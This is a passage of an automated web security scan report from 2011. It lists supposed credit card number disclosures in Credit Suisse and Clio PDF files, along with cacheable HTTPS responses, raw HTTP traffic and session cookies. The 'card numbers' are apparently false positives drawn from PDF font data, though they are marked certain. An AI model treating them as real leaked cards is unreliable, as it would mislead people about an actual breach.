Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:01 GMT
Accept-Ranges: bytes
Content-Length: 137332
Content-Type: application/pdf
Last-Modified: Fri, 16 Sep 2011 16:18:57 GMT
Connection: close

%PDF-1.4%....
23 0 obj<</Linearized 1/L 137332/O 25/E 90205/N 3/T 136825/H [ 816 300]>>endobj
xref
23 26
0000000016 00000 n
0000001116 00000 n
0000001197 00000 n
0000001390
...[SNIP]...
Type/FontDescriptor 37 0 R/LastChar 121/Widths[228 0 0 0 0 0 0 0 0 0 0 0 228 273 228 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 479 0 0 592 592 592 592 547 501 638 592 228 456 592 501 683 592 638 547 0 592 547 501 592 547 0 547 0 501 0 0 0 0 0 0 456 501 456 501 456 273 501 501 228 0 456 228 729 501 501 501 0 319 456 273 501 456 638 456 456]/BaseFont/KBEPNN+ArialNarrow,Bold/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

16.3. https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/global_economy_monthly_review.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4564560273410228
4564564564564560
5007225005000000
5470000000000000
5565562220500222
5567785565560000
5925470547050100
5925477745470501

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:12 GMT
Accept-Ranges: bytes
Content-Length: 2699705
Content-Type: application/pdf
Last-Modified: Mon, 25 Jul 2011 17:47:16 GMT
Connection: close

%PDF-1.5%....
173 0 obj <</Linearized 1/L 829261/O 176/E 90587/N 34/T 825753/H [ 776 843]>>endobj
xref
173 24
0000000016 00000 n
0000001619 00000 n
0000000776 00000 n
0000001703
...[SNIP]...
0 0 0 0 0 0 0 333 333 0 0 278 0 0 0 556 556 556 0 0 0 0 0 0 0 278 0 0 0 0 0 0 667 667 722 722 667 611 778 0 278 0 0 0 833 722 778 667 778 722 667 0 722 0 944 0 0 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 0 500 222 833 556 556 556 0 333 500 278 556 500 722 0 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222 222 333 333]>
...[SNIP]...
56 556 278 0 0 0 0 0 0 667 667 722 722 667 611 778 722 278 500 0 0 0 0 0 667 778 722 667 611 0 0 944 0 0 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 0 500 222 833 556 556 556 556 333 500 278 556 500 722 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 737 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...[SNIP]...
556 556 556 333 333 0 0 0 0 0 722 0 722 722 667 611 778 0 278 0 0 0 0 0 0 667 0 722 667 611 722 0 0 0 0 0 0 0 0 0 0 0 556 611 556 611 556 333 611 611 278 0 556 278 889 611 611 611 611 389 556 333 611 556 778 556 556 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 278]>
...[SNIP]...
Subtype/TrueType/FontDescriptor 120 0 R/Widths[228 0 0 0 0 0 0 0 0 0 0 0 228 273 228 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 479 0 0 592 592 592 592 547 501 638 592 228 456 592 501 683 592 638 547 0 592 547 501 592 547 0 547 0 501 0 0 0 0 0 0 456 501 456 501 456 273 501 501 228 0 456 228 729 501 501 501 0 319 456 273 501 456 638 456 456]>
...[SNIP]...
73 228 0 456 456 456 456 456 456 456 456 456 456 0 0 0 0 0 0 832 0 0 592 0 547 501 638 592 228 0 0 0 0 0 0 547 0 592 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 456 410 456 456 228 456 456 182 182 410 182 683 456 456 456 0 273 410 228 456 410 592 410 410 410 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456]>
...[SNIP]...
</Type/Font/Encoding/WinAnsiEncoding/BaseFont/HELNIP+ArialNarrow,Italic/FirstChar 75/LastChar 115/Subtype/TrueType/FontDescriptor 150 0 R/Widths[547 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 182 0 0 0 0 456 456 0 0 0 410]>
...[SNIP]...
</Type/Font/Encoding/WinAnsiEncoding/BaseFont/HELMFN+ArialNarrow,Bold/FirstChar 32/LastChar 121/Subtype/TrueType/FontDescriptor 128 0 R/Widths[228 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 456 456 456 456 456 456 456 456 456 0 0 0 0 0 0 0 592 0 592 592 547 0 0 0 0 0 0 0 683 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 0 456 501 456 273 501 0 228 0 456 228 729 501 501 501 0 319 456 273 501 456 0 456 456]>
...[SNIP]...
dths[228 0 291 0 456 729 0 157 273 273 319 479 228 273 228 228 456 456 456 456 456 456 456 456 456 456 228 228 0 0 0 0 0 547 547 592 592 547 501 638 592 228 410 547 456 683 592 638 547 638 592 547 501 592 547 774 547 0 501 0 0 0 0 456 0 456 456 410 456 456 228 456 456 182 182 410 182 683 456 456 456 456 273 410 228 456 410 592 410 410 410 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 182 273 273 0 456 0 0 0 0 0 0 0 0 0
...[SNIP]...

16.4. https://www.credit-suisse.com/investment_banking/doc/japan_economics_weekly.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/japan_economics_weekly.pdf

Issue detail

The following credit card number was disclosed in the response:

5925470547050100

Request

GET /investment_banking/doc/japan_economics_weekly.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:07 GMT
Accept-Ranges: bytes
Content-Length: 558392
Content-Type: application/pdf
Last-Modified: Thu, 15 Sep 2011 18:28:11 GMT
Connection: close

%PDF-1.4%....
121 0 obj<</Linearized 1/L 558392/O 123/E 83670/N 22/T 555924/H [ 756 589]>>endobj
xref
121 23
0000000016 00000 n
0000001345 00000 n
0000001430 00000 n
0000001634
...[SNIP]...
Type/FontDescriptor 82 0 R/LastChar 121/Widths[228 0 0 0 0 0 0 0 0 0 0 0 228 273 228 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 479 0 0 592 592 592 592 547 501 638 592 228 456 592 501 683 592 638 547 0 592 547 501 592 547 0 547 0 501 0 0 0 0 0 0 456 0 456 501 456 273 501 501 228 0 456 228 729 501 501 501 0 319 456 273 501 456 638 456 456]/BaseFont/MOMJCK+ArialNarrow,Bold/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

16.5. https://www.credit-suisse.com/investment_banking/doc/market_focus.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/market_focus.pdf

Issue detail

The following credit card numbers were disclosed in the response:

5470000000000000
5920774005010000

Request

GET /investment_banking/doc/market_focus.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:16 GMT
Accept-Ranges: bytes
Content-Length: 154443
Content-Type: application/pdf
Last-Modified: Thu, 08 Sep 2011 19:05:03 GMT
Connection: close

%PDF-1.4%....
31 0 obj<</Linearized 1/L 154443/O 33/E 84539/N 5/T 153776/H [ 816 317]>>endobj
xref
31 26
0000000016 00000 n
0000001133 00000 n
0000001214 00000 n
0000001407
...[SNIP]...
3/Widths[228 0 291 0 0 0 0 157 273 273 0 479 228 273 228 228 456 456 456 456 456 456 456 456 456 456 228 228 0 0 0 0 832 547 547 592 592 547 501 638 592 228 410 547 456 683 592 638 547 638 592 547 501 592 0 774 0 0 501 0 0 0 0 456 0 456 456 410 456 456 228 456 456 182 182 410 182 683 456 456 456 456 273 410 228 456 410 592 410 410 410 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 182 273 273 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...[SNIP]...
</Subtype/TrueType/FontDescriptor 14 0 R/LastChar 115/Widths[547 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 182 0 0 0 0 456 456 0 0 0 410]/BaseFont/IMGCAG+ArialNarrow,Italic/FirstChar 75/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

16.6. https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/us_economics_digest.pdf

Issue detail

The following credit card numbers were disclosed in the response:

5565565565562780
5925470547050100

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:10 GMT
Accept-Ranges: bytes
Content-Length: 224932
Content-Type: application/pdf
Last-Modified: Wed, 14 Sep 2011 16:55:16 GMT
Connection: close

%PDF-1.5%....
1 0 obj<</Annots[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R 7 0 R 8 0 R]/Contents 10 0 R/Type/Page/Parent 45 0 R/Rotate 0/MediaBox[0 0 612 792]/CropBox[0 0 612 792]/Resources 9 0 R>>endobj2 0 obj
...[SNIP]...
/Subtype/TrueType/FontDescriptor 40 0 R/Widths[228 0 0 0 0 0 0 0 0 0 0 0 228 273 228 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 479 0 0 592 592 592 592 547 501 638 592 228 456 592 501 683 592 638 547 0 592 547 501 592 547 0 547 0 501 0 0 0 0 0 0 456 0 456 501 456 273 501 501 228 0 456 228 729 501 501 501 0 319 456 273 501 456 638 456 456]>
...[SNIP]...
pe/Font/Encoding/WinAnsiEncoding/BaseFont/JIMEKP+Arial/FirstChar 32/LastChar 150/Subtype/TrueType/FontDescriptor 61 0 R/Widths[278 0 355 0 0 889 0 191 0 0 0 584 278 333 278 278 556 556 556 556 556 556 556 556 556 556 278 0 0 0 0 0 0 667 667 722 722 667 611 0 722 278 0 0 556 833 722 778 667 0 722 667 611 722 0 944 667 667 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 222 500 222 833 556 556 556 0 333 500 278 556 500
...[SNIP]...

16.7. http://www.goclio.com/resources/white_papers/Why%20Go%20Cloud%20-%20Five%20Reasons%20Why%20Lawyers%20Should%20Adopt%20Cloud-based%20Technology.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/resources/white_papers/Why%20Go%20Cloud%20-%20Five%20Reasons%20Why%20Lawyers%20Should%20Adopt%20Cloud-based%20Technology.pdf

Issue detail

The following credit card number was disclosed in the response:

5090000000000000

Request

GET /resources/white_papers/Why%20Go%20Cloud%20-%20Five%20Reasons%20Why%20Lawyers%20Should%20Adopt%20Cloud-based%20Technology.pdf HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://trygoclio.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.8.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:26:07 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 02 Mar 2011 20:44:43 GMT
ETag: "388e8-ea14d-49d85fb8744c0"
Accept-Ranges: bytes
Content-Length: 958797
Content-Type: application/pdf

%PDF-1.3%....
1 0 obj<</Metadata 2 0 R/OutputIntents[<</DestOutputProfile 5 0 R/Info(SWOP Press)/OutputConditionIdentifier(CGATS TR 001)/RegistryName(http://www.color.org)/S/GTS_PDFX/Type/OutputInt
...[SNIP]...
R/FirstChar 1/FontDescriptor 203 0 R/LastChar 173/Subtype/Type1/Type/Font/Widths[428 666 573 449 525 585 315 588 351 585 636 581 257 569 519 356 749 493 500 572 869 572 564 417 508 569 207 516 508 256 509 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 264 559 319 672 559 683 827 848 704
...[SNIP]...

17. Cacheable HTTPS response previous next
There are 217 instances of this issue:

https://www.createspace.com/Special/HeaderAnnouncement.jsp
https://www.createspace.com/Special/Js/menu_config.js.jsp
https://www.createspace.com/en/community/community/member_showcase
https://www.createspace.com/en/community/render-widget!execute.jspa
https://www.credit-suisse.com/about_us/en/
https://www.credit-suisse.com/about_us/en/index.jsp
https://www.credit-suisse.com/about_us/it/index.jsp
https://www.credit-suisse.com/asset_management/global_includes/alternativeinvestments/en/bio/filippo_rima_cfa.jsp
https://www.credit-suisse.com/asset_management/global_includes/extensions/klp2_big_image.css
https://www.credit-suisse.com/careers/berufslehren/en/index.jsp
https://www.credit-suisse.com/careers/campus_recruiting/en/
https://www.credit-suisse.com/careers/campus_recruiting/en/index.jsp
https://www.credit-suisse.com/careers/de/index.jsp
https://www.credit-suisse.com/careers/en/
https://www.credit-suisse.com/careers/en/index.jsp
https://www.credit-suisse.com/careers/experienced_professionals/en/
https://www.credit-suisse.com/careers/experienced_professionals/en/index.jsp
https://www.credit-suisse.com/careers/mittelschulabsolventen/en/index.jsp
https://www.credit-suisse.com/ch/asset_management/en/index.jsp
https://www.credit-suisse.com/ch/de/
https://www.credit-suisse.com/ch/en/
https://www.credit-suisse.com/ch/en/index.jsp
https://www.credit-suisse.com/ch/fr/index.jsp
https://www.credit-suisse.com/ch/it/index.jsp
https://www.credit-suisse.com/ch/unternehmen/en/index.jsp
https://www.credit-suisse.com/ch/unternehmen/it/index.jsp
https://www.credit-suisse.com/cookie-check/CookieCheckError.html
https://www.credit-suisse.com/forms/asset_management/en/contact_am_us.jsp
https://www.credit-suisse.com/global/en/
https://www.credit-suisse.com/governance/en/
https://www.credit-suisse.com/governance/en/index.jsp
https://www.credit-suisse.com/ib/
https://www.credit-suisse.com/index/en/
https://www.credit-suisse.com/investment_banking/
https://www.credit-suisse.com/investment_banking/about_ib/en/index.jsp
https://www.credit-suisse.com/investment_banking/advisory_services/en/
https://www.credit-suisse.com/investment_banking/advisory_services/en/index.jsp
https://www.credit-suisse.com/investment_banking/award_rankings/en/index.jsp
https://www.credit-suisse.com/investment_banking/awards_rankings/en/
https://www.credit-suisse.com/investment_banking/client_notices/en/
https://www.credit-suisse.com/investment_banking/doc/european_economics.pdf
https://www.credit-suisse.com/investment_banking/doc/global_economics_daily.pdf
https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf
https://www.credit-suisse.com/investment_banking/doc/japan_economics_weekly.pdf
https://www.credit-suisse.com/investment_banking/doc/market_focus.pdf
https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf
https://www.credit-suisse.com/investment_banking/en/
https://www.credit-suisse.com/investment_banking/en/biography/ib_management.jsp
https://www.credit-suisse.com/investment_banking/en/index.jsp
https://www.credit-suisse.com/investment_banking/equities/en/
https://www.credit-suisse.com/investment_banking/equities/en/index.jsp
https://www.credit-suisse.com/investment_banking/fixed_income/en/
https://www.credit-suisse.com/investment_banking/fixed_income/en/index.jsp
https://www.credit-suisse.com/investment_banking/industry_expertise/en/
https://www.credit-suisse.com/investment_banking/industry_expertise/en/index.jsp
https://www.credit-suisse.com/investment_banking/research/en/
https://www.credit-suisse.com/investment_banking/research/en/cusp.jsp
https://www.credit-suisse.com/investment_banking/research/en/index.jsp
https://www.credit-suisse.com/investors/en/
https://www.credit-suisse.com/investors/en/contacts_investor.jsp
https://www.credit-suisse.com/investors/en/index.jsp
https://www.credit-suisse.com/investors/en/reports/2010_cr_report.jsp
https://www.credit-suisse.com/legal/en/
https://www.credit-suisse.com/legal/en/pb/pb_usa.jsp
https://www.credit-suisse.com/markets/emerging_markets/
https://www.credit-suisse.com/markets/en/
https://www.credit-suisse.com/news/en/
https://www.credit-suisse.com/news/en/contacts_press.jsp
https://www.credit-suisse.com/news/en/index.jsp
https://www.credit-suisse.com/news/en/media_release.jsp
https://www.credit-suisse.com/news/it/index.jsp
https://www.credit-suisse.com/patriotact/en/
https://www.credit-suisse.com/primetrade/
https://www.credit-suisse.com/primeview/
https://www.credit-suisse.com/privacy/en/
https://www.credit-suisse.com/responsibility/de/initiatives/education_initiative/initiatives_education.jsp
https://www.credit-suisse.com/responsibility/en/
https://www.credit-suisse.com/responsibility/en/accessibility.jsp
https://www.credit-suisse.com/responsibility/en/approach.jsp
https://www.credit-suisse.com/responsibility/en/banking/client_focus.jsp
https://www.credit-suisse.com/responsibility/en/banking/client_foundations.jsp
https://www.credit-suisse.com/responsibility/en/banking/csri/index.jsp
https://www.credit-suisse.com/responsibility/en/banking/due_diligence.jsp
https://www.credit-suisse.com/responsibility/en/banking/environment.jsp
https://www.credit-suisse.com/responsibility/en/banking/equator_principles.jsp
https://www.credit-suisse.com/responsibility/en/banking/global_compact.jsp
https://www.credit-suisse.com/responsibility/en/banking/human_rights.jsp
https://www.credit-suisse.com/responsibility/en/banking/improper_use.jsp
https://www.credit-suisse.com/responsibility/en/banking/international_agreements.jsp
https://www.credit-suisse.com/responsibility/en/banking/microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/new_markets.jsp
https://www.credit-suisse.com/responsibility/en/banking/projects_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/risk_review.jsp
https://www.credit-suisse.com/responsibility/en/banking/sector_policies.jsp
https://www.credit-suisse.com/responsibility/en/banking/sme_switzerland.jsp
https://www.credit-suisse.com/responsibility/en/banking/sustainability_policy.jsp
https://www.credit-suisse.com/responsibility/en/banking/trust.jsp
https://www.credit-suisse.com/responsibility/en/banking/unep.jsp
https://www.credit-suisse.com/responsibility/en/banking/what_is_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/wolfsberg.jsp
https://www.credit-suisse.com/responsibility/en/climate_change.jsp
https://www.credit-suisse.com/responsibility/en/climate_protection.jsp
https://www.credit-suisse.com/responsibility/en/ecology.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_assessing_impact.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_experience_sharing.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_learning_technologies.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_new.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_quality.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_succession.jsp
https://www.credit-suisse.com/responsibility/en/employer/development.jsp
https://www.credit-suisse.com/responsibility/en/employer/diversity.jsp
https://www.credit-suisse.com/responsibility/en/employer/gdi_strategy.jsp
https://www.credit-suisse.com/responsibility/en/employer/graduates.jsp
https://www.credit-suisse.com/responsibility/en/employer/health_social_care.jsp
https://www.credit-suisse.com/responsibility/en/employer/index.jsp
https://www.credit-suisse.com/responsibility/en/employer/networks.jsp
https://www.credit-suisse.com/responsibility/en/employer/partners_awards.jsp
https://www.credit-suisse.com/responsibility/en/employer/pkom.jsp
https://www.credit-suisse.com/responsibility/en/employer/workplace.jsp
https://www.credit-suisse.com/responsibility/en/environment.jsp
https://www.credit-suisse.com/responsibility/en/environmental_management.jsp
https://www.credit-suisse.com/responsibility/en/gri_index.jsp
https://www.credit-suisse.com/responsibility/en/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/climate/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/education_initiative/initiatives_education.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/employee_engagement.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/gcp.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/initiatives_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/microfinance_accion.jsp
https://www.credit-suisse.com/responsibility/en/jubilee_fund.jsp
https://www.credit-suisse.com/responsibility/en/measures_in_regions.jsp
https://www.credit-suisse.com/responsibility/en/objectives.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_apac.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_application.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_emea.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_global.jsp
https://www.credit-suisse.com/responsibility/en/philantropy_americas.jsp
https://www.credit-suisse.com/responsibility/en/reporting.jsp
https://www.credit-suisse.com/responsibility/en/society/dialogue.jsp
https://www.credit-suisse.com/responsibility/en/society/employer.jsp
https://www.credit-suisse.com/responsibility/en/society/expertise.jsp
https://www.credit-suisse.com/responsibility/en/society/homemarket.jsp
https://www.credit-suisse.com/responsibility/en/society/opinion_leaders.jsp
https://www.credit-suisse.com/responsibility/en/society/public_debate.jsp
https://www.credit-suisse.com/responsibility/en/society/salon.jsp
https://www.credit-suisse.com/responsibility/en/society/sponsoring_switzerland.jsp
https://www.credit-suisse.com/responsibility/en/society/svc_risikokapital.jsp
https://www.credit-suisse.com/responsibility/en/society/switzerland.jsp
https://www.credit-suisse.com/responsibility/en/suppliers_partners.jsp
https://www.credit-suisse.com/responsibility/en/sustainability_rating.jsp
https://www.credit-suisse.com/responsibility/it/accessibility.jsp
https://www.credit-suisse.com/responsibility/it/index.jsp
https://www.credit-suisse.com/sitemap/en/
https://www.credit-suisse.com/sitemap/en/index.jsp
https://www.credit-suisse.com/sitemap/it/index.jsp
https://www.credit-suisse.com/tooldbrowser.jsp
https://www.credit-suisse.com/triage/en/triage.jsp
https://www.credit-suisse.com/us/
https://www.credit-suisse.com/us/asset_management/en/
https://www.credit-suisse.com/us/asset_management/en/about_asset_management.jsp
https://www.credit-suisse.com/us/asset_management/en/am_management_committee.jsp
https://www.credit-suisse.com/us/asset_management/en/awards/index.jsp
https://www.credit-suisse.com/us/asset_management/en/credit_suisse_funds/pop_fund_performance.jsp
https://www.credit-suisse.com/us/asset_management/en/index.jsp
https://www.credit-suisse.com/us/asset_management/en/products/index.jsp
https://www.credit-suisse.com/us/asset_management/en/thought_leadership/201108_commodities_outlook.jsp
https://www.credit-suisse.com/us/asset_management/en/thought_leadership/201108_market_update.jsp
https://www.credit-suisse.com/us/asset_management/en/thought_leadership/insights_2011.jsp
https://www.credit-suisse.com/us/asset_management/en/value_proposition.jsp
https://www.credit-suisse.com/us/equities/en/
https://www.credit-suisse.com/us/equities/en/brazilian_equities.jsp
https://www.credit-suisse.com/us/equities/en/customized_solutions.jsp
https://www.credit-suisse.com/us/equities/en/emerging_market_equities.jsp
https://www.credit-suisse.com/us/equities/en/european_equities.jsp
https://www.credit-suisse.com/us/equities/en/global_equities.jsp
https://www.credit-suisse.com/us/equities/en/global_indices.jsp
https://www.credit-suisse.com/us/equities/en/index.jsp
https://www.credit-suisse.com/us/equities/en/quantitative_equities.jsp
https://www.credit-suisse.com/us/equities/en/swiss_equities.jsp
https://www.credit-suisse.com/us/equities/en/us_equities.jsp
https://www.credit-suisse.com/us/fixed_income/en/
https://www.credit-suisse.com/us/fixed_income/en/index.jsp
https://www.credit-suisse.com/us/hedge_strategies/en/
https://www.credit-suisse.com/us/hedge_strategies/en/index.jsp
https://www.credit-suisse.com/us/multi_asset_class_solutions/en/
https://www.credit-suisse.com/us/multi_asset_class_solutions/en/index.jsp
https://www.credit-suisse.com/us/private_equity/en/
https://www.credit-suisse.com/us/private_equity/en/index.jsp
https://www.credit-suisse.com/us/privateadvisors/en/
https://www.credit-suisse.com/us/privatebanking/approach/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/bank/en/contact.jsp
https://www.credit-suisse.com/us/privatebanking/bank/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/doc/ars_settlement_information.pdf
https://www.credit-suisse.com/us/privatebanking/en/
https://www.credit-suisse.com/us/privatebanking/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/investmentsolutions/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/multimedia/demo.html
https://www.credit-suisse.com/us/privatebanking/people/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/wealthservices/en/index.jsp
https://www.credit-suisse.com/us/real_assets/en/
https://www.credit-suisse.com/us/real_assets/en/index.jsp
https://www.credit-suisse.com/who_we_are/en/
https://www.credit-suisse.com/who_we_are/en/index.jsp
https://www.credit-suisse.com/who_we_are/en/locations_overview.jsp
https://www.credit-suisse.com/who_we_are/en/office_locator.jsp
https://www.credit-suisse.com/who_we_are/it/index.jsp
https://www.credit-suisse.com/who_we_are/it/locations_overview.jsp
https://www.cyscape.com/%22/products/bhtg//%22
https://www.cyscape.com/images/common/episodes.gif%22
https://www.cyscape.com/order/order.asp
https://www.cyscape.com/products/bhawk/
https://www.cyscape.com/products/bhtg/
https://www.cyscape.com/products/bhtg/howitworks.aspx
https://www.onekingslane.com/corporate/careers/
https://www.onekingslane.com/corporate/careers/tech/

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

17.1. https://www.createspace.com/Special/HeaderAnnouncement.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/Special/HeaderAnnouncement.jsp

Request

Response

17.2. https://www.createspace.com/Special/Js/menu_config.js.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/Special/Js/menu_config.js.jsp

Request

GET /Special/Js/menu_config.js.jsp?version=20110916093136 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:00:59 GMT
Server: Apache
Cache-Control: max-age=7200, public
Expires: Mon, 19 Sep 2011 17:00:59 GMT
Vary: Accept-Encoding
Content-Length: 4388
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

/* menu configuration file */
var menuitems = {
'book' : {
'Independent Book Publishing' : [
{'href':'https://www.createspace.com/Products/Book/', 'text':'Publish a Trade Paperbac
...[SNIP]...

17.3. https://www.createspace.com/en/community/community/member_showcase previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/community/member_showcase

Request

Response

17.4. https://www.createspace.com/en/community/render-widget!execute.jspa previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/render-widget!execute.jspa

Request

POST /en/community/render-widget!execute.jspa HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
Content-Length: 65
Origin: https://www.createspace.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

frameID=10529&size=2&widgetType=3&container=2018&containerType=14

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:49 GMT
Server: Apache
